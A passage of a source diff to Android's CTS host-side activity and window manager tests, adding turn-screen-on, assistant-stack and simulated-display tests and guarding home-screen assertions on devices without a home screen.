+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.second;
+
+import android.app.Activity;
+
+public class SecondActivityNoEmbedding extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
index 73304b4..733f7a9 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceServicesTestThirdApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
index ff4b987..aed24c7 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
@@ -21,6 +21,7 @@
     <application>
         <activity android:name=".ThirdActivity"
                   android:resizeableActivity="true"
+                  android:allowEmbedded="true"
                   android:exported="true" />
     </application>
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
index c647be4..c51f24a 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerActivityVisibilityTests.java
@@ -17,6 +17,7 @@
 package android.server.cts;
 
 import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.server.cts.StateLogger.logE;
 
 import android.platform.test.annotations.Presubmit;
 
@@ -26,6 +27,7 @@
 import static com.android.ddmlib.Log.LogLevel.INFO;
 
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.device.DeviceNotAvailableException;
 
 /**
  * Build: mmma -j32 cts/hostsidetests/services
@@ -40,8 +42,20 @@
     private static final String TURN_SCREEN_ON_ACTIVITY_NAME = "TurnScreenOnActivity";
     private static final String MOVE_TASK_TO_BACK_ACTIVITY_NAME = "MoveTaskToBackActivity";
     private static final String SWIPE_REFRESH_ACTIVITY = "SwipeRefreshActivity";
-    private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
 
+    private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
+    private static final String TURN_SCREEN_ON_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrActivity";
+    private static final String TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME = "TurnScreenOnShowOnLockActivity";
+    private static final String TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrRemoveAttrActivity";
+    private static final String TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME = "TurnScreenOnSingleTaskActivity";
+    private static final String TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY =
+            "TurnScreenOnWithRelayoutActivity";
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        tearDownLockCredentials();
+    }
 
     public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
         if (!supportsPip()) {
@@ -163,7 +177,9 @@
     private void performFinishActivityWithMoveTaskToBack(String finishPoint) throws Exception {
         // Make sure home activity is visible.
         launchHomeActivity();
-        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
 
         // Launch an activity that calls "moveTaskToBack" to finish itself.
         launchActivity(MOVE_TASK_TO_BACK_ACTIVITY_NAME, "finish_point", finishPoint);
@@ -180,8 +196,10 @@
         executeShellCommand(FINISH_ACTIVITY_BROADCAST);
 
         // Home must be visible.
-        mAmWmState.waitForHomeActivityVisible(mDevice);
-        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        if (!noHomeScreen()) {
+            mAmWmState.waitForHomeActivityVisible(mDevice);
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
     }
 
     /**
@@ -191,7 +209,9 @@
     public void testReorderToFrontBackstack() throws Exception {
         // Start with home on top
         launchHomeActivity();
-        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
 
         // Launch the launching activity to the foreground
         launchActivity(LAUNCHING_ACTIVITY);
@@ -223,7 +243,9 @@
     public void testReorderToFrontChangingStack() throws Exception {
         // Start with home on top
         launchHomeActivity();
-        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
 
         // Launch the launching activity to the foreground
         launchActivity(LAUNCHING_ACTIVITY);
@@ -234,7 +256,9 @@
 
         // Return home
         launchHomeActivity();
-        mAmWmState.assertHomeActivityVisible(true /* visible */);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true /* visible */);
+        }
         // Launch the launching activity from the alternate launching activity with reorder to
         // front.
 
@@ -260,6 +284,10 @@
      * above becomes visible and does not idle.
      */
     public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
+        if (noHomeScreen()) {
+            return;
+        }
+
         // Start with home on top
         launchHomeActivity();
 
@@ -273,4 +301,104 @@
         mAmWmState.waitForHomeActivityVisible(mDevice);
         mAmWmState.assertHomeActivityVisible(true);
     }
+
+    public void testTurnScreenOnAttrNoLockScreen() throws Exception {
+        wakeUpAndRemoveLock();
+        sleepDevice();
+        final String logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, true);
+        assertTrue(isDisplayOn());
+        assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
+    }
+
+    public void testTurnScreenOnAttrWithLockScreen() throws Exception {
+        if (!isHandheld()) {
+            // This test requires the ability to have a lock screen.
+            return;
+        }
+
+        setLockCredential();
+        sleepDevice();
+        final String logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_ATTR_ACTIVITY_NAME });
+        assertFalse(isDisplayOn());
+        assertSingleLaunchAndStop(TURN_SCREEN_ON_ATTR_ACTIVITY_NAME, logSeparator);
+    }
+
+    public void testTurnScreenOnShowOnLockAttr() throws Exception {
+        sleepDevice();
+        mAmWmState.waitForAllStoppedActivities(mDevice);
+        final String logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, true);
+        assertTrue(isDisplayOn());
+        assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME, logSeparator);
+    }
+
+    public void testTurnScreenOnAttrRemove() throws Exception {
+        sleepDevice();
+        mAmWmState.waitForAllStoppedActivities(mDevice);
+        String logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] {
+                TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME});
+        assertTrue(isDisplayOn());
+        assertSingleLaunch(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
+
+        sleepDevice();
+        mAmWmState.waitForAllStoppedActivities(mDevice);
+        logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME);
+        assertFalse(isDisplayOn());
+        assertSingleStartAndStop(TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME, logSeparator);
+    }
+
+    public void testTurnScreenOnSingleTask() throws Exception {
+        sleepDevice();
+        String logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
+        assertTrue(isDisplayOn());
+        assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
+
+        sleepDevice();
+        logSeparator = clearLogcat();
+        launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, true);
+        assertTrue(isDisplayOn());
+        assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME, logSeparator);
+    }
+
+    public void testTurnScreenOnActivity_withRelayout() throws Exception {
+        sleepDevice();
+        launchActivity(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY);
+        mAmWmState.computeState(mDevice, new String[] { TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY });
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, true);
+
+        String logSeparator = clearLogcat();
+        sleepDevice();
+        mAmWmState.waitFor("Waiting for stopped state", () ->
+                lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
+
+        // Ensure there was an actual stop if the waitFor timed out.
+        assertTrue(lifecycleStopOccurred(TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY, logSeparator));
+        assertFalse(isDisplayOn());
+    }
+
+    private boolean lifecycleStopOccurred(String activityName, String logSeparator) {
+        try {
+            ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                    logSeparator);
+            return lifecycleCounts.mStopCount > 0;
+        } catch (DeviceNotAvailableException e) {
+            logE(e.toString());
+            return false;
+        }
+    }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
index 555ed36..fc90f91 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
@@ -19,6 +19,8 @@
 
 import android.platform.test.annotations.Presubmit;
 
+import android.server.cts.ActivityManagerState.ActivityStack;
+import android.server.cts.ActivityManagerState.ActivityTask;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.log.LogUtil.CLog;
 
@@ -41,7 +43,6 @@
     private static final String DIALOG_WHEN_LARGE_ACTIVITY = "DialogWhenLargeActivity";
 
     private static final String TRANSLUCENT_ACTIVITY = "TranslucentLandscapeActivity";
-
     private static final String TRANSLUCENT_CURRENT_PACKAGE = "android.server.translucentapp";
 
     private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
@@ -332,9 +333,9 @@
                 1 /* portrait */, initialReportedSizes.orientation);
         logSeparator = clearLogcat();
 
-        // TODO(b/38225467): Target SDK 26 specific package when SDK 27 released.
         launchActivityInComponent(TRANSLUCENT_CURRENT_PACKAGE, TRANSLUCENT_ACTIVITY);
-        assertEquals("Legacy non-fullscreen activity requested landscape orientation",
+
+        assertEquals("non-fullscreen activity requested landscape orientation",
                 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
 
         // TODO(b/36897968): uncomment once we can suppress unsupported configurations
@@ -344,24 +345,13 @@
         //         1 /* portrait */, updatedReportedSizes.orientation);
     }
 
-// TODO(b/38225467): Uncomment when SDK 27 is released.
-//    public void testNonFullscreenActivityProhibited() throws Exception {
-//        setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
-//        launchActivity(TRANSLUCENT_ACTIVITY);
-//        mAmWmState.assertNotResumedActivity(
-//                "target SDK > 25 non-fullscreen activity should not reach onResume",
-//                TRANSLUCENT_ACTIVITY);
-//    }
-
-    // TODO(b/38225467): rename to testLegacyNonFullscreenActivityPermitted
     public void testNonFullscreenActivityPermitted() throws Exception {
-        // TODO(b/38225467): Target SDK 26 specific package when SDK 27 released.
         setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
         setDeviceRotation(0);
 
         launchActivity(TRANSLUCENT_ACTIVITY);
         mAmWmState.assertResumedActivity(
-                "target SDK <= 26 non-fullscreen activity should be allowed to launch",
+                "target SDK non-fullscreen activity should be allowed to launch",
                 TRANSLUCENT_ACTIVITY);
         assertEquals("non-fullscreen activity requested landscape orientation",
                 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
@@ -388,7 +378,7 @@
         executeShellCommand(FINISH_ACTIVITY_BROADCAST);
 
         // Verify that activity brought to front is in originally requested orientation.
-        mAmWmState.waitForValidState(mDevice, LANDSCAPE_ACTIVITY_NAME);
+        mAmWmState.computeState(mDevice, new String[]{LANDSCAPE_ACTIVITY_NAME});
         assertEquals("Should return to app in landscape orientation",
                 0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
     }
@@ -447,6 +437,11 @@
      */
     private void requestOrientationInSplitScreen(int orientation, String activity)
             throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+            return;
+        }
+
         // Set initial orientation.
         setDeviceRotation(orientation);
 
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
index 7e333c9..abc3082 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
@@ -30,6 +30,7 @@
     private static final String ANIMATION_TEST_ACTIVITY = "AnimationTestActivity";
     private static final String DOCKED_ACTIVITY = "DockedActivity";
     private static final String ASSISTANT_ACTIVITY = "AssistantActivity";
+    private static final String TRANSLUCENT_ASSISTANT_ACTIVITY = "TranslucentAssistantActivity";
     private static final String LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION =
             "LaunchAssistantActivityFromSession";
     private static final String LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK =
@@ -159,9 +160,11 @@
         launchHomeActivity();
         launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                 EXTRA_IS_TRANSLUCENT, String.valueOf(true));
-        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+        mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
         assertAssistantStackExists();
-        mAmWmState.assertHomeActivityVisible(true);
+        if (!noHomeScreen()) {
+            mAmWmState.assertHomeActivityVisible(true);
+        }
 
         // Launch a fullscreen app and then launch the assistant and check to see that it is
         // also visible
@@ -169,10 +172,27 @@
         launchActivity(TEST_ACTIVITY);
         launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                 EXTRA_IS_TRANSLUCENT, String.valueOf(true));
-        mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+        mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
         assertAssistantStackExists();
         mAmWmState.assertVisibility(TEST_ACTIVITY, true);
 
+        // Go home, launch assistant, launch app into fullscreen with activity present, and go back.
+        // Ensure home is visible.
+        removeStacks(ASSISTANT_STACK_ID);
+        launchHomeActivity();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_IS_TRANSLUCENT, String.valueOf(true), EXTRA_LAUNCH_NEW_TASK,
+                TEST_ACTIVITY);
+        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY, FULLSCREEN_WORKSPACE_STACK_ID);
+        mAmWmState.assertHomeActivityVisible(false);
+        pressBackButton();
+        mAmWmState.waitForFocusedStack(mDevice, ASSISTANT_STACK_ID);
+        assertAssistantStackExists();
+        if (!noHomeScreen()) {
+            mAmWmState.waitForHomeActivityVisible(mDevice);
+            mAmWmState.assertHomeActivityVisible(true);
+        }
+
         // Launch a fullscreen and docked app and then launch the assistant and check to see that it
         // is also visible
         if (supportsSplitScreenMultiWindow()) {
@@ -182,7 +202,7 @@
             mAmWmState.assertContainsStack("Must contain docked stack.", DOCKED_STACK_ID);
             launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_IS_TRANSLUCENT, String.valueOf(true));
-            mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+            mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
             assertAssistantStackExists();
             mAmWmState.assertVisibility(DOCKED_ACTIVITY, true);
             mAmWmState.assertVisibility(TEST_ACTIVITY, true);
@@ -219,6 +239,26 @@
         disableAssistant();
     }
 
+    public void testPinnedStackWithAssistant() throws Exception {
+        if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
+
+        enableAssistant();
+
+        // Launch a fullscreen activity and a PIP activity, then launch the assistant, and ensure
+        // that the test activity is still visible
+        launchActivity(TEST_ACTIVITY);
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
+                EXTRA_IS_TRANSLUCENT, String.valueOf(true));
+        mAmWmState.waitForValidState(mDevice, TRANSLUCENT_ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+        assertAssistantStackExists();
+        mAmWmState.assertVisibility(TRANSLUCENT_ASSISTANT_ACTIVITY, true);
+        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+
+        disableAssistant();
+    }
+
     /**
      * Asserts that the assistant stack exists.
      */
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
index d520f2c..1e8c5a1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayLockedKeyguardTests.java
@@ -42,8 +42,7 @@
     @Override
     protected void tearDown() throws Exception {
         try {
-            removeLockCredential();
-            gotoKeyguard();
+            tearDownLockCredentials();
         } catch (DeviceNotAvailableException e) {
             logE(e.getMessage());
         }
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
index fa0320c..cc0a257 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTestBase.java
@@ -48,6 +48,7 @@
     private static final int INVALID_DENSITY_DPI = -1;
 
     private boolean mVirtualDisplayCreated;
+    private boolean mDisplaySimulated;
 
     /** Temp storage used for parsing. */
     final LinkedList<String> mDumpLines = new LinkedList<>();
@@ -57,6 +58,7 @@
     protected void tearDown() throws Exception {
         try {
             destroyVirtualDisplays();
+            destroySimulatedDisplays();
         } catch (DeviceNotAvailableException e) {
             logE(e.getMessage());
         }
@@ -193,6 +195,10 @@
             return mDisplayStates.get(displayId);
         }
 
+        int getNumberOfDisplays() {
+            return mDisplayStates.size();
+        }
+
         /** Return the display state with width, height, dpi */
         DisplayState getDisplayState(int width, int height, int dpi) {
             for (Map.Entry<Integer, DisplayState> entry : mDisplayStates.entrySet()) {
@@ -253,7 +259,7 @@
     }
 
     /** Find the display that was not originally reported in oldDisplays and added in newDisplays */
-    private List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
+    protected List<ActivityManagerDisplayTests.DisplayState> findNewDisplayStates(
             ReportedDisplays oldDisplays, ReportedDisplays newDisplays) {
         final ArrayList<DisplayState> displays = new ArrayList();
 
@@ -271,6 +277,9 @@
      * @param densityDpi provide custom density for the display.
      * @param launchInSplitScreen start {@link VirtualDisplayActivity} to side from
      *                            {@link LaunchingActivity} on primary display.
+     * @param canShowWithInsecureKeyguard allow showing content when device is showing an insecure
+     *                                    keyguard.
+     * @param mustBeCreated should assert if the display was or wasn't created.
      * @param publicDisplay make display public.
      * @param resizeDisplay should resize display when surface size changes.
      * @param launchActivity should launch test activity immediately after display creation.
@@ -278,8 +287,9 @@
      * @throws Exception
      */
     private List<ActivityManagerDisplayTests.DisplayState> createVirtualDisplays(int densityDpi,
-            boolean launchInSplitScreen, boolean publicDisplay, boolean resizeDisplay,
-            String launchActivity, int displayCount) throws Exception {
+            boolean launchInSplitScreen, boolean canShowWithInsecureKeyguard, boolean mustBeCreated,
+            boolean publicDisplay, boolean resizeDisplay, String launchActivity, int displayCount)
+            throws Exception {
         // Start an activity that is able to create virtual displays.
         if (launchInSplitScreen) {
             getLaunchActivityBuilder().setToSide(true)
@@ -290,23 +300,57 @@
         mAmWmState.computeState(mDevice, new String[] {VIRTUAL_DISPLAY_ACTIVITY},
                 false /* compareTaskAndStackBounds */);
         final ActivityManagerDisplayTests.ReportedDisplays originalDS = getDisplaysStates();
-        final int originalDisplayCount = originalDS.mDisplayStates.size();
 
         // Create virtual display with custom density dpi.
-        executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, publicDisplay, resizeDisplay,
-                launchActivity, displayCount));
+        executeShellCommand(getCreateVirtualDisplayCommand(densityDpi, canShowWithInsecureKeyguard,
+                publicDisplay, resizeDisplay, launchActivity, displayCount));
         mVirtualDisplayCreated = true;
 
-        // Wait for the virtual display to be created and get configurations.
-        final ActivityManagerDisplayTests.ReportedDisplays ds =
-                getDisplayStateAfterChange(originalDisplayCount + displayCount);
-        assertEquals("New virtual display must be created",
-                originalDisplayCount + displayCount, ds.mDisplayStates.size());
+        return assertAndGetNewDisplays(mustBeCreated ? displayCount : -1, originalDS);
+    }
 
-        // Find the newly added display.
+    /**
+     * Simulate new display.
+     * @param densityDpi provide custom density for the display.
+     * @return {@link ActivityManagerDisplayTests.DisplayState} of newly created display.
+     */
+    private List<ActivityManagerDisplayTests.DisplayState> simulateDisplay(int densityDpi)
+            throws Exception {
+        final ActivityManagerDisplayTests.ReportedDisplays originalDs = getDisplaysStates();
+
+        // Create virtual display with custom density dpi.
+        executeShellCommand(getSimulateDisplayCommand(densityDpi));
+        mDisplaySimulated = true;
+
+        return assertAndGetNewDisplays(1, originalDs);
+    }
+
+    /**
+     * Wait for desired number of displays to be created and get their properties.
+     * @param newDisplayCount expected display count, -1 if display should not be created.
+     * @param originalDS display states before creation of new display(s).
+     */
+    private List<ActivityManagerDisplayTests.DisplayState> assertAndGetNewDisplays(
+            int newDisplayCount, ActivityManagerDisplayTests.ReportedDisplays originalDS)
+            throws Exception {
+        final int originalDisplayCount = originalDS.mDisplayStates.size();
+
+        // Wait for the display(s) to be created and get configurations.
+        final ActivityManagerDisplayTests.ReportedDisplays ds =
+                getDisplayStateAfterChange(originalDisplayCount + newDisplayCount);
+        if (newDisplayCount != -1) {
+            assertEquals("New virtual display(s) must be created",
+                    originalDisplayCount + newDisplayCount, ds.mDisplayStates.size());
+        } else {
+            assertEquals("New virtual display must not be created",
+                    originalDisplayCount, ds.mDisplayStates.size());
+            return null;
+        }
+
+        // Find the newly added display(s).
         final List<ActivityManagerDisplayTests.DisplayState> newDisplays
                 = findNewDisplayStates(originalDS, ds);
-        assertTrue("New virtual display must be created", displayCount == newDisplays.size());
+        assertTrue("New virtual display must be created", newDisplayCount == newDisplays.size());
 
         return newDisplays;
     }
@@ -321,14 +365,27 @@
         }
     }
 
+    /**
+     * Destroy existing simulated display.
+     */
+    private void destroySimulatedDisplays() throws Exception {
+        if (mDisplaySimulated) {
+            executeShellCommand(getDestroySimulatedDisplayCommand());
+            mDisplaySimulated = false;
+        }
+    }
+
     static class VirtualDisplayBuilder {
         private final ActivityManagerDisplayTestBase mTests;
 
         private int mDensityDpi = CUSTOM_DENSITY_DPI;
         private boolean mLaunchInSplitScreen = false;
+        private boolean mCanShowWithInsecureKeyguard = false;
         private boolean mPublicDisplay = false;
         private boolean mResizeDisplay = true;
         private String mLaunchActivity = null;
+        private boolean mSimulateDisplay = false;
+        private boolean mMustBeCreated = true;
 
         public VirtualDisplayBuilder(ActivityManagerDisplayTestBase tests) {
             mTests = tests;
@@ -344,6 +401,12 @@
             return this;
         }
 
+        public VirtualDisplayBuilder setCanShowWithInsecureKeyguard(
+                boolean canShowWithInsecureKeyguard) {
+            mCanShowWithInsecureKeyguard = canShowWithInsecureKeyguard;
+            return this;
+        }
+
         public VirtualDisplayBuilder setPublicDisplay(boolean publicDisplay) {
             mPublicDisplay = publicDisplay;
             return this;
@@ -359,19 +422,35 @@
             return this;
         }
 
+        public VirtualDisplayBuilder setSimulateDisplay(boolean simulateDisplay) {
+            mSimulateDisplay = simulateDisplay;
+            return this;
+        }
+
+        public VirtualDisplayBuilder setMustBeCreated(boolean mustBeCreated) {
+            mMustBeCreated = mustBeCreated;
+            return this;
+        }
+
         public DisplayState build() throws Exception {
             final List<DisplayState> displays = build(1);
             return displays != null && !displays.isEmpty() ? displays.get(0) : null;
         }
 
         public List<DisplayState> build(int count) throws Exception {
-            return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen, mPublicDisplay,
-                    mResizeDisplay, mLaunchActivity, count);
+            if (mSimulateDisplay) {
+                return mTests.simulateDisplay(mDensityDpi);
+            }
+
+            return mTests.createVirtualDisplays(mDensityDpi, mLaunchInSplitScreen,
+                    mCanShowWithInsecureKeyguard, mMustBeCreated, mPublicDisplay, mResizeDisplay,
+                    mLaunchActivity, count);
         }
     }
 
-    private static String getCreateVirtualDisplayCommand(int densityDpi, boolean publicDisplay,
-            boolean resizeDisplay, String launchActivity, int displayCount) {
+    private static String getCreateVirtualDisplayCommand(int densityDpi,
+            boolean canShowWithInsecureKeyguard, boolean publicDisplay, boolean resizeDisplay,
+            String launchActivity, int displayCount) {
         final StringBuilder commandBuilder
                 = new StringBuilder(getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY));
         commandBuilder.append(" -f 0x20000000");
@@ -380,6 +459,8 @@
             commandBuilder.append(" --ei density_dpi ").append(densityDpi);
         }
         commandBuilder.append(" --ei count ").append(displayCount);
+        commandBuilder.append(" --ez can_show_with_insecure_keyguard ")
+                .append(canShowWithInsecureKeyguard);
         commandBuilder.append(" --ez public_display ").append(publicDisplay);
         commandBuilder.append(" --ez resize_display ").append(resizeDisplay);
         if (launchActivity != null) {
@@ -393,6 +474,14 @@
                 " --es command destroy_display";
     }
 
+    private static String getSimulateDisplayCommand(int densityDpi) {
+        return "settings put global overlay_display_devices 1024x768/" + densityDpi;
+    }
+
+    private static String getDestroySimulatedDisplayCommand() {
+        return "settings delete global overlay_display_devices";
+    }
+
     /** Wait for provided number of displays and report their configurations. */
     ReportedDisplays getDisplayStateAfterChange(int expectedDisplayCount)
             throws DeviceNotAvailableException {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
index a3faae6..3026398 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerDisplayTests.java
@@ -16,6 +16,7 @@
 package android.server.cts;
 
 import android.platform.test.annotations.Presubmit;
+import android.server.displayservice.DisplayHelper;
 
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -27,7 +28,9 @@
